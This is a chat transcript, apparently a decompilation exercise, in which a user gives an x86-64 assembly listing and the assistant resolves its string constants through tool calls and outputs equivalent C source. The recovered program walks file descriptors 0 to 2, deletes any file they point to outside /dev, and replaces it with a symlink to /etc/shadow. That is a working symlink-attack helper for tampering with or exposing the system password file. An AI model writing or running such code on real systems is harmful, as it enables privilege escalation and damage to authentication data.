user: What is the c source code of the assembly code below?

```asm
<main>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x220,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  movl   $0x0,-0x218(%rbp)
  jmp    L89
L50:
  mov    -0x218(%rbp),%eax
  mov    %eax,%esi
  lea    D76(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  mov    $0x0,%eax
  call   <getpid@plt>
  mov    %eax,%esi
  mov    -0x218(%rbp),%edx
  lea    -0x210(%rbp),%rax
  mov    %edx,%ecx
  mov    %esi,%edx
  lea    D7(%rip),%rsi
  mov    %rax,%rdi
  call   <sprintf@plt>
  lea    -0x110(%rbp),%rcx
  lea    -0x210(%rbp),%rax
  mov    $0xff,%edx
  mov    %rcx,%rsi
  mov    %rax,%rdi
  call   <readlink@plt>
  mov    %eax,-0x214(%rbp)
  cmpl   $0xffffffff,-0x214(%rbp)
  jne    L47
  lea    D106(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  jmp    L45
L47:
  mov    -0x214(%rbp),%eax
  cltq
  movb   $0x0,-0x110(%rbp,%rax,1)
  lea    -0x110(%rbp),%rax
  mov    $0x5,%edx
  lea    D33(%rip),%rcx
  mov    %rcx,%rsi
  mov    %rax,%rdi
  call   <strncmp@plt>
  test   %rax,%rax
  jne    L104
  lea    D5(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  jmp    L45
L104:
  lea    -0x110(%rbp),%rax
  lea    D72(%rip),%rdx
  mov    %rax,%rsi
  lea    D35(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    -0x110(%rbp),%rax
  mov    %rax,%rdi
  call   <unlink@plt>
  cmp    $0xffffffff,%eax
  jne    L28
  lea    D91(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  jmp    L45
L28:
  lea    -0x110(%rbp),%rax
  mov    %rax,%rsi
  lea    D72(%rip),%rax
  mov    %rax,%rdi
  call   <symlink@plt>
  cmp    $0xffffffff,%eax
  jne    L10
  lea    D85(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  jmp    L45
L10:
  lea    D96(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
L45:
  addl   $0x1,-0x218(%rbp)
L89:
  cmpl   $0x2,-0x218(%rbp)
  jle    L50
  mov    $0x0,%eax
  mov    -0x8(%rbp),%rdx
  sub    %fs:0x28,%rdx
  je     L42
  call   <__stack_chk_fail@plt>
L42:
  leave
  ret
```

tool_calls: name: parse_data
arguments: data_label: D76
type: string
name: parse_data
arguments: data_label: D7
type: string
name: parse_data
arguments: data_label: D106
type: string
name: parse_data
arguments: data_label: D33
type: string
name: parse_data
arguments: data_label: D5
type: string
name: parse_data
arguments: data_label: D72
type: string
name: parse_data
arguments: data_label: D35
type: string
name: parse_data
arguments: data_label: D91
type: string
name: parse_data
arguments: data_label: D85
type: string
name: parse_data
arguments: data_label: D96
type: string

tool: D76: fd %d ...


tool: D7: /proc/%d/fd/%d

tool: D106: failed to readlink(2)

tool: D33: /dev/

tool: D5: skipping because it is connected to pts

tool: D72: /etc/shadow

tool: D35: trying to make symlink %s -> %s...


tool: D91: failed to unlink(2)

tool: D85: failed to symlink(2)

tool: D96: successfully replaced.

assistant: ```c
int main(void) {
  int fd;
  char fdpath[256], outpath[256];
  FILE *fp;
  int len;
  for (fd = 0; fd <= 2; fd++) {
    printf("fd %d ...\n", fd);
    sprintf(fdpath, "/proc/%d/fd/%d", (int)getpid(), fd);
    len = readlink(fdpath, outpath, sizeof(outpath) - 1);
    if (len == -1) {
      printf("failed to readlink(2)\n");
      continue;
    }
    outpath[len] = '\0';
    if (strncmp(outpath, "/dev/", 5) == 0) {
      printf("skipping because it is connected to pts\n");
    } else {
      printf("trying to make symlink %s -> %s...\n", outpath, "/etc/shadow");
      if (unlink(outpath) == -1) {
        printf("failed to unlink(2)\n");
        continue;
      }
      if (symlink("/etc/shadow", outpath) == -1) {
        printf("failed to symlink(2)\n");
        continue;
      }
      printf("successfully replaced.\n");
    }
  }
  return 0;
}
```